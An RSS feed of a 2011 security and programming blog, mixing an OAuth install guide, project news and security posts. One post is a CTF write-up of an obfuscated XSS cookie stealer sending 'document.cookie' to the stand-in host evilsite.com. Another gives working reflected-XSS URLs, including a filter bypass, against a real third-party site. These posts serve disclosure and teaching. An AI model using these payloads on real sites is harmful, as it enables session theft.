<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Benjamin Flesch</title>
	
	<link>http://blog.bf-itservice.de</link>
	<description>Programmkot &amp; Sicherheit</description>
	<lastBuildDate>Tue, 18 Oct 2011 06:35:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/BenjaminFleschItServicesBlog" /><feedburner:info uri="benjaminfleschitservicesblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Geschützt: Exploiting SAP’s IDS for fun</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/HYPcb3WpEHM/exploiting-sap-intrusion-detection-system-for-fun</link>
		<comments>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun#comments</comments>
		<pubDate>Mon, 17 Oct 2011 21:39:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[IDS]]></category>
		<category><![CDATA[Payload]]></category>
		<category><![CDATA[SAP.com]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=485</guid>
		<description><![CDATA[Es gibt keine Kurzfassung, da dies ein geschützter Artikel ist.]]></description>
			<content:encoded><![CDATA[<form action="http://blog.bf-itservice.de/wp-pass.php" method="post">
<p>Dieser Artikel ist durch ein Passwort geschützt. <br />Um ihn anzusehen, trage es bitte hier ein:</p>
<p><label for="pwbox-485">Passwort:<br />
<input name="post_password" id="pwbox-485" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Senden" /></p></form>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/HYPcb3WpEHM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun</feedburner:origLink></item>
		<item>
		<title>Gruyere: Das Hackme von Google</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/3O6PoLPYjPU/gruyere-das-hackme-von-google</link>
		<comments>http://blog.bf-itservice.de/481/gruyere-das-hackme-von-google#comments</comments>
		<pubDate>Sun, 10 Jul 2011 21:44:01 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Code Execution]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Gruyere]]></category>
		<category><![CDATA[Hackme]]></category>
		<category><![CDATA[Path Traversal]]></category>
		<category><![CDATA[Websicherheit]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=481</guid>
		<description><![CDATA[Google hat mit Gruyere ein ziemlich umfassendes Hackme auf Google App Engine veröffentlicht, das je nach vorliebe des Benutzers große Angriffsfläche für Black- und White-Box Security Audits bietet. Die Webapplikation ist in Python geschrieben und inklusive Sourcecode verfügbar. Jeder &#8220;Sicherheitstester&#8221; bekommt seine eigene Instanz der Webapplikation und kann sich in dieser Sandbox nach belieben austoben. [...]]]></description>
			<content:encoded><![CDATA[<p>Google hat mit <strong>Gruyere</strong> ein ziemlich umfassendes Hackme auf Google App Engine veröffentlicht, das je nach vorliebe des Benutzers <strong>große Angriffsfläche für Black- und White-Box Security Audits</strong> bietet. Die Webapplikation ist in Python geschrieben und inklusive Sourcecode verfügbar. Jeder &#8220;Sicherheitstester&#8221; bekommt seine eigene Instanz der Webapplikation und kann sich in dieser Sandbox nach belieben austoben. </p>
<p>Dazu kommt, dass alle existierenden Sicherheitslücken kategorisiert und mit Tipps und Beispielexploits versehen sind. Der <strong>spielhafte Charakter</strong> mit detaillierten Beschreibungen der zu Grunde liegenden Bugs anhand von Beispielcode erlaubt es auch Anfängern viele Facetten der Sicherheitsprobleme von Webapplikationen zu verstehen.</p>
<p>Hat man <a href="https://google-gruyere.appspot.com/">Gruyere erst einmal ausprobiert</a>, kann sich jeder vorstellen wie Code Execution, Denial of Service, XSS, CSRF und weitere Designfehler zustande kommen und zum eigenen Profit eingesetzt werden können.</p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/3O6PoLPYjPU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/481/gruyere-das-hackme-von-google/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/481/gruyere-das-hackme-von-google</feedburner:origLink></item>
		<item>
		<title>Eine schöne XSS-Payload</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/A3E3RsB-Ly8/eine-schone-xss-payload</link>
		<comments>http://blog.bf-itservice.de/402/eine-schone-xss-payload#comments</comments>
		<pubDate>Sat, 09 Jul 2011 11:17:01 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Cookie Stealer]]></category>
		<category><![CDATA[Iframe]]></category>
		<category><![CDATA[Javascript Obfuscation]]></category>
		<category><![CDATA[Payload]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=402</guid>
		<description><![CDATA[Ich war vor einiger Zeit während eines Capture the Flaw Wettbewerbs in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches &#8211; jedenfalls bis auf die dort eingesetzte Blacklist: Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert. Erfolg gab [...]]]></description>
			<content:encoded><![CDATA[<p>Ich war vor einiger Zeit während eines <a href="http://en.wikipedia.org/wiki/Capture_the_flag#Computer_security">Capture the Flaw Wettbewerbs</a> in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches &#8211; jedenfalls bis auf die dort eingesetzte Blacklist: </p>
<p>Die Strings <code>cookie</code>, <code>http://</code>, <code>script</code> und <strong>diverse weitere HTML-Tags</strong> wurden gefiltert.</p>
<p>Erfolg gab es dann hiermit:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=//google.de onload=&quot;this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')&quot;&gt;&lt;/iframe&gt;</pre></td></tr></table></div>

<p>Kurze Erklärung: </p>
<ul>
<li>Ich lege durch das <code>&lt;iframe&gt;</code>-Tag einen Iframe an, der auf http://www.google.de zeigt. </li>
<li>Dieser bekommt ein <code>onload</code>-Event zugewiesen.</li>
<li>Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort <code>document.cookie</code>, packt es in die <code>eval</code>-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert &#8211; also den Cookie des Benutzers &#8211; an die URL des Iframes an.</li>
</ul>
<p>Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/A3E3RsB-Ly8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/402/eine-schone-xss-payload/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/402/eine-schone-xss-payload</feedburner:origLink></item>
		<item>
		<title>Evoluted.net PHP Directory Listing XSS Vulnerability</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/WwdkNH_qiw4/evoluted-net-php-directory-listing-xss-vulnerability</link>
		<comments>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability#comments</comments>
		<pubDate>Sat, 09 Jul 2011 10:27:31 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Evoluted.net]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[PHP Directory Listing]]></category>
		<category><![CDATA[Security Vulnerability]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=471</guid>
		<description><![CDATA[I noticed a security vulnerability in the PHP Directory Listing Script made by Ash Young from Evoluted.net. Some input isn&#8217;t properly sanitized before it is returned to the user, rendering the application&#8217;s users vulnerable to a XSS flaw. To resolve this vulnerability, the following patch needs to be applied to the PHP Directory List v3.1 [...]]]></description>
			<content:encoded><![CDATA[<p>I noticed a security vulnerability in the <a href="http://www.evoluted.net/thinktank/web-development/php-directory-listing-script">PHP Directory Listing Script</a> made by <a href="http://www.evoluted.net/thinktank/author/Ash">Ash Young</a> from Evoluted.net.</p>
<p>Some input isn&#8217;t properly sanitized before it is returned to the user, rendering the application&#8217;s users vulnerable to a XSS flaw.</p>
<p>To resolve this vulnerability, the following patch needs to be applied to the <strong>PHP Directory List v3.1</strong> source code which makes use of <code>urlencode</code> instead of <code>strip_slashes</code> to sanitize user input:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="diff" style="font-family:monospace;"># diff index.php /tmp/directoryv3.1/index.php 
<span style="color: #440088;">391c391</span>
<span style="color: #991111;">&lt; 	$baseurl = strip_tags<span style="">&#40;</span>$_SERVER<span style="">&#91;</span>'PHP_SELF'<span style="">&#93;</span><span style="">&#41;</span> . '?dir='.urlencode<span style="">&#40;</span>$_GET<span style="">&#91;</span>'dir'<span style="">&#93;</span><span style="">&#41;</span> . '&amp;amp;';</span>
<span style="color: #888822;">---
<span style="color: #00b000;">&gt; 	$baseurl = strip_tags<span style="">&#40;</span>$_SERVER<span style="">&#91;</span>'PHP_SELF'<span style="">&#93;</span><span style="">&#41;</span> . '?dir='.strip_tags<span style="">&#40;</span>$_GET<span style="">&#91;</span>'dir'<span style="">&#93;</span><span style="">&#41;</span> . '&amp;amp;';</span></span></pre></td></tr></table></div>

<p>Thanks goes out to <a href="http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken#comment-1886">Anon</a> for pointing out that <a href="http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken">this previous vulnerability</a> is originally found in <strong>PHP Directory Listing from Evoluted.net</strong>.</p>
<p>The programmer in charge has been notified of this issue.</p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/WwdkNH_qiw4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability</feedburner:origLink></item>
		<item>
		<title>Auch die NN-Crew macht Fehler</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/MVonBS61UfM/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken</link>
		<comments>http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken#comments</comments>
		<pubDate>Fri, 08 Jul 2011 11:32:49 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Politisches]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Bundespolizei]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[NN-Crew]]></category>
		<category><![CDATA[Quirks Mode]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=455</guid>
		<description><![CDATA[Nachdem durch Indymedia und nicht zuletzt Felix von Leitner (fefe) die Welt über den Hack einiger Bundespolizei-Server durch die &#8220;No-Name-Crew&#8221; aufgeklärt wurde, ist mir die URL der Veröffentlichung auf dl.nn-crew.cc sehr typisch für Angriffsziele von Cross-Site Sripting (XSS) &#8211; Attacken vorgekommen: http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2F Und siehe da, der GET-Parameter dir kann nicht nur den kompletten Pfad zu [...]]]></description>
			<content:encoded><![CDATA[<p>Nachdem durch <a href="http://linksunten.indymedia.org/de/node/42728">Indymedia</a> und nicht zuletzt <a href="http://blog.fefe.de/?ts=b0e80892">Felix von Leitner</a> (fefe) die Welt über den Hack einiger Bundespolizei-Server durch die &#8220;No-Name-Crew&#8221; aufgeklärt wurde, ist mir die URL der Veröffentlichung auf <code>dl.nn-crew.cc</code> sehr typisch für Angriffsziele von Cross-Site Sripting (XSS) &#8211; Attacken vorgekommen:</p>
<p><code>http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2F</code></p>
<p>Und siehe da, der GET-Parameter <code>dir</code> kann nicht nur den kompletten Pfad zu einem Ordner enthalten, sondern auch einen <strong>netten XSS-Vektor</strong>. Die Tatsache, dass der für dieses PHP-Script zuständige Programmierer aus Reihen der &#8220;No-Name-Crew&#8221; vollständige HTML-Tags löscht &#8211; also <code>&lt;</code>, <code>&gt;</code> und alle Zeichen dazwischen &#8211; zeugt von keinem wirklichen Überblick über das Zustandekommen von XSS-Lücken.</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2011/07/nn-xss.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2011/07/nn-xss.png" alt="" title="nn-xss" width="420" height="313" class="alignnone size-full wp-image-459" /></a></p>
<p>Aufbau einer erfolgreichen Attacke:</p>
<ol>
<li>durch ein <code>"</code> wird das <code>HREF</code>-Attribut des <code>&lt;a&gt;</code>-Tags beendet. Nun können wir beliebige weitere Attribute des Link-Tags definieren.</li>
<li>Ein Leerzeichen gefolgt von <code>onmouseover=alert('XSS')</code> verpasst dem Link ein Event, das beim &#8220;Mit-der-Maus-drüberfahren&#8221; einen von mir bestimmten Javascript-Code ausführt.</li>
<li>Durch <code>style=position:absolute;top:0;left:0;right:0;bottom:0 </code> sagen wir dem Browser, dass der Link das gesamte Browserfenster ausfüllen soll. Somit wird der Benutzer das <code>onmouseover</code>-Event ausführen, sobald er seine Maus über <strong>irgendeinen Bereich</strong> der Homepage bewegt.</li>
<li>Und zuletzt wird der Angriffsvektor durch ein <code>alt=</code> abgeschlossen. Dieses Attribut wird benötigt, weil der Browser sonst beim Rendern eine Fehlermeldung melden würde.</li>
</ol>
<p>Wenn alle oben genannten Punkte zusammenbaut werden, so kommt man auf folgenden Angriff (<a href="http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=alert%28String.fromCharCode%2888,83,83%29%29;%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=">Selbst Ausprobieren</a>):</p>
<p><code>http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=alert%28String.fromCharCode%2888,83,83%29%29;%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=</code></p>
<p>In <a href="http://blog.bf-itservice.de/wp-content/uploads/2011/07/nn-url.png">diesem Quelltext-Screenshot</a> sieht man, wie der <strong>Quirks Mode</strong> von Mozilla Firefox den Angriff ausführt.</p>
<h2>Angriff geht nicht immer</h2>
<p>Durch den einen eingebauten Schutz vor <a href="http://de.wikipedia.org/wiki/Cross-Site_Scripting#Nicht-persistent_oder_reflexiv">reflexivem XSS</a> sind Benutzer von Chrome/Chromium oder der Firefox-Extension &#8220;NoScript&#8221; von dem in diesem Post genannten Angriff <strong>nicht betroffen</strong>. Ich persönlich habe den Angriff unter Mozilla Firefox getestet.</p>
<h2>Gedanken zum Bundespolizei-Hack</h2>
<p>Es ist sehr peinlich, dass die Bundespolizei wahrscheinlich <a href="http://linksunten.indymedia.org/image/42731.jpg">auf Grund einer alten PHPMyAdmin-Version</a> gehackt wurde und eine so schlecht gesicherte <a href="http://linksunten.indymedia.org/image/42734.jpg">Trackingsoftware</a> verwendet, dass sogar Angreifer mit rudimentärem Know-How sie erfolgreich ownen können.</p>
<h2>Update &#8211; 08. Juli 2011, Mittag:</h2>
<p>Der Autor des Scripts hat nun offensichtlich die Sicherheitslücke bemerkt und behoben, mein ursprüngliches Proof of Concept-Exploit funktioniert nicht mehr. Leider kann man aber nur bedingt von &#8220;behoben&#8221; sprechen, die <strong>Maßnahme gegen XSS</strong> ist nun das Wort <code>"alert"</code> aus dem String zu löschen.</p>
<p>Wird die XSS-Payload nun durch <code>eval(String.fromCharCode(....))</code> ersetzt, kann man wie vorher auch die Seite der &#8220;No-Name-Crew&#8221; exploiten. <a href="http://dl.nn-crew.cc/index.php?dir=2-NN-Crew+-+Leaks%2FBundespolizei%2FBP_PACK_No-Name-Crew%2FGPSTracker%2FGPSTracker+PAIP+OpenLayers%2FVollstaendige+Setups%2F%27%22%20onmouseover=eval%28String.fromCharCode%2897,108,101,114,116,40,39,88,115,115,39,41,59%29%29%20style=position:absolute;top:0;left:0;bottom:0;right:0;%20alt=">Sehr peinlich.</a></p>
<h2>Update 2 &#8211; 08. Juli 2011, später Abend:</h2>
<p>Nun wurde die Sicherheitslücke wie von <a href="http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability">mir vorgeschlagen</a> durch ein URL-Encoding der Parameter behoben <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/MVonBS61UfM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken</feedburner:origLink></item>
		<item>
		<title>Install PHP OAuth Library on Debian / Ubuntu</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/L2ejD9lAUss/install-php-oauth-library-on-debian-ubuntu</link>
		<comments>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu#comments</comments>
		<pubDate>Wed, 22 Jun 2011 14:37:42 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Extension]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[oauth.so]]></category>
		<category><![CDATA[PECL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php-auth]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=451</guid>
		<description><![CDATA[The only way to install the PHP OAuth Libabry on your Debian / Ubuntu system is as follows: Install PECL:sudo apt-get install php-auth php5-dev libpcre3-dev Install PHP OAuth Library:sudo pecl install oauth Make PHP Load the OAuth Library on PHP Startup:sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini Now a look at php -m on the command line [...]]]></description>
			<content:encoded><![CDATA[<p>The only way to install the <strong>PHP OAuth Libabry</strong> on your Debian / Ubuntu system is as follows:</p>
<ol>
<li>Install PECL:<br/><code>sudo apt-get install php-auth php5-dev libpcre3-dev</code></li>
<li>Install PHP OAuth Library:<br/><code>sudo pecl install oauth</code></li>
<li>Make PHP Load the OAuth Library on PHP Startup:<br/><code>sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini</code></li>
</ol>
<p>Now a look at <code>php -m</code> on the command line or <code>phpinfo()</code> in a .php file on your web server should point out that PHP OAuth is ready for use! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Thanks to <a href="http://darrendev.blogspot.com/2011/05/oauth-for-php-and-ubuntu.html">Darren</a>, I found this easy solution.</p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/L2ejD9lAUss" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu</feedburner:origLink></item>
		<item>
		<title>easyComment 1.4 has been released!</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/Iemx1Nd2smc/easycomment-1-4-has-been-released</link>
		<comments>http://blog.bf-itservice.de/446/easycomment-1-4-has-been-released#comments</comments>
		<pubDate>Thu, 07 Apr 2011 11:19:27 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[easyComment]]></category>
		<category><![CDATA[easyComment 1.4]]></category>
		<category><![CDATA[Firefox 4]]></category>
		<category><![CDATA[Firefox Extension]]></category>
		<category><![CDATA[Release]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=446</guid>
		<description><![CDATA[For all of you who&#8217;ve been struggling with Download Error #228, a minor Mozilla fuckup, or Firefox 4 support &#8211; the latest version of easyComment has just been released and is available on the AMO homepage. One more time, I&#8217;d like to thank everybody for your ongoing support and all the positive reviews. It&#8217;s nice [...]]]></description>
			<content:encoded><![CDATA[<p>For all of you who&#8217;ve been struggling with <strong>Download Error #228</strong>, a minor Mozilla fuckup, or Firefox 4 support &#8211; the latest version of easyComment has just been <a href="https://addons.mozilla.org/en-US/firefox/addon/easycomment/">released and is available on the AMO homepage</a>. </p>
<p>One more time, I&#8217;d like to thank everybody for your ongoing support and all the positive reviews. It&#8217;s nice to see more than <strong>1000 people</strong> use your software every single day.</p>
<p>- Benjamin</p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/Iemx1Nd2smc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/446/easycomment-1-4-has-been-released/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/446/easycomment-1-4-has-been-released</feedburner:origLink></item>
		<item>
		<title>R.I.P. mybeni.rootzilla.de</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/Yqut9cCh42o/r-i-p-mybeni-rootzilla-de</link>
		<comments>http://blog.bf-itservice.de/436/r-i-p-mybeni-rootzilla-de#comments</comments>
		<pubDate>Wed, 23 Mar 2011 09:47:17 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[mybeni.rootzilla.de]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=436</guid>
		<description><![CDATA[Wie ich heute morgen gesteckt bekommen habe, ist mein geliebtes altes Blog, zu erreichen unter mybeni.rootzilla.de endgültig den Bach herunter gegangen. Leider hat mir die Domain rootzilla.de niemals gehört, und scheinbar hat sie mein Klassenkamerad, der sie mir damals zur Verfügung gestellt hatte, endgültig auslaufen lassen. Auf mybeni.rootzilla.de habe ich jahrelang in englischer und deutscher [...]]]></description>
			<content:encoded><![CDATA[<p>Wie ich heute morgen gesteckt bekommen habe, ist mein geliebtes altes Blog, zu erreichen unter <strong>mybeni.rootzilla.de</strong> endgültig den Bach herunter gegangen. Leider hat mir die Domain rootzilla.de niemals gehört, und scheinbar hat sie mein Klassenkamerad, der sie mir <em>damals</em> zur Verfügung gestellt hatte, endgültig auslaufen lassen.</p>
<p>Auf <code>mybeni.rootzilla.de</code> habe ich jahrelang in englischer und deutscher Sprache Sicherheitslücken in Software wie z.B. WordPress publiziert, den <strong>ersten gutartigen XSS-Wurm der Welt</strong> veröffentlicht, die <strong>ALEXA TOP 100 Liste</strong> nach Sicherheitslücken abgeklapptert (natürlich auch fündig geworden) und dutzende Experimente mit Suchmaschinenoptimierung durchgeführt &#8211; shame on me.</p>
<p>Natürlich habe ich gegen Ende seines Daseins diesem Blog nicht mehr so viel Zuwendung geschenkt, wie es eigentlich verdient hätte, aber dieser Verlust trifft mich dennoch umso härter. <strong>R.I.P. mybeni.rootzilla.de</strong>, ich hoffe dieses Blog wird irgendwann in ferner Zukunft deinen Platz einnehmen. <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/BenjaminFleschItServicesBlog/~4/Yqut9cCh42o" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/436/r-i-p-mybeni-rootzilla-de/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.bf-itservice.de/436/r-i-p-mybeni-rootzilla-de</feedburner:origLink></item>
		<item>
		<title>RegioVelo – Endlich Fertig!</title>
		<link>http://feedproxy.google.com/~r/BenjaminFleschItServicesBlog/~3/KfaqAkOpAhI/regiovelo-endlich-fertig</link>
		<comments>http://blog.bf-itservice.de/431/regiovelo-endlich-fertig#comments</comments>
		<pubDate>Wed, 23 Mar 2011 09:37:24 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Arbeitslose]]></category>
		<category><![CDATA[Backend]]></category>
		<category><![CDATA[Billing]]></category>
		<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[jQuery Wizard]]></category>
		<category><![CDATA[Lieferroute]]></category>
		<category><![CDATA[Mannheim]]></category>
		<category><![CDATA[NodeJs]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projektbeschreibung]]></category>
		<category><![CDATA[RegioVelo]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=431</guid>
		<description><![CDATA[Die letzten Wochen und sogar Monate habe ich mich leider nur sehr wenig um meine nette Firefox Extension, das jQuery-Plugin oder gar die Warsuche kümmern können. Dies wird sich nun Ändern, denn die Homepage für den Obst- und Gemüse Fahrradlieferservice Regiovelo ist nun endlich fertig. Das Liefergebiet ist das Stadtgebiet Mannheim &#8211; direkt vor die [...]]]></description>
			<content:encoded><![CDATA[<p>Die letzten Wochen und sogar Monate habe ich mich leider nur sehr wenig um meine nette Firefox Extension, das jQuery-Plugin oder gar die Warsuche kümmern können. Dies wird sich nun Ändern, denn die Homepage für den <strong>Obst- und Gemüse Fahrradlieferservice Regiovelo</strong> ist nun endlich fertig. Das Liefergebiet ist das <strong>Stadtgebiet Mannheim</strong> &#8211; direkt vor die Haustür.</p>
<p>Die Implementierung von RegioVelo war ein mittelgroßes Softwareprojekt mit folgenden Eckdaten:</p>
<ul>
<li>Onlineshop für Abonnements und einmalige Bestellung von <a href="http://www.regiovelo.de/angebot">Gemüsekisten in Mannheim (link zum Bestellprozess)</a></li>
<li>Träger sind die <a href="http://www.biotopia.de">Biotopia Arbeitsförderungsbetriebe Mannheim gGmbH</a> und die Studierendeninitiative <a href="http://www.sife-mannheim.de">SIFE Universität Mannheim</a>.</li>
<li>Diese Kisten werden nach Hause zum Kunden per Fahrrad geliefert, und zwar von jungen Arbeitslosen die im Rahmen von RegioVelo <strong>für den ersten Arbeitsmarkt qualifiziert</strong> werden.</li>
<li>Ein <a href="https://www.regiovelo.de">Backend für das Kundenmanagement</a> u.a. mit recht komplexer Zuweisung der Lieferfenster.</li>
<li>Ein <strong>jQuery Wizard Plugin</strong>, mit dem man im Handumdrehen aus einem normalen HTML-Formular einen interaktiven <strong>&#8220;Wizard&#8221;</strong> erstellt. Dieses Plugin werde ich ASAP veröffentlichen, eine <a href="https://www.regiovelo.de/bestellen/kleine-probekiste/">Live-Demo gibt es schon</a>. Absolut cool! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
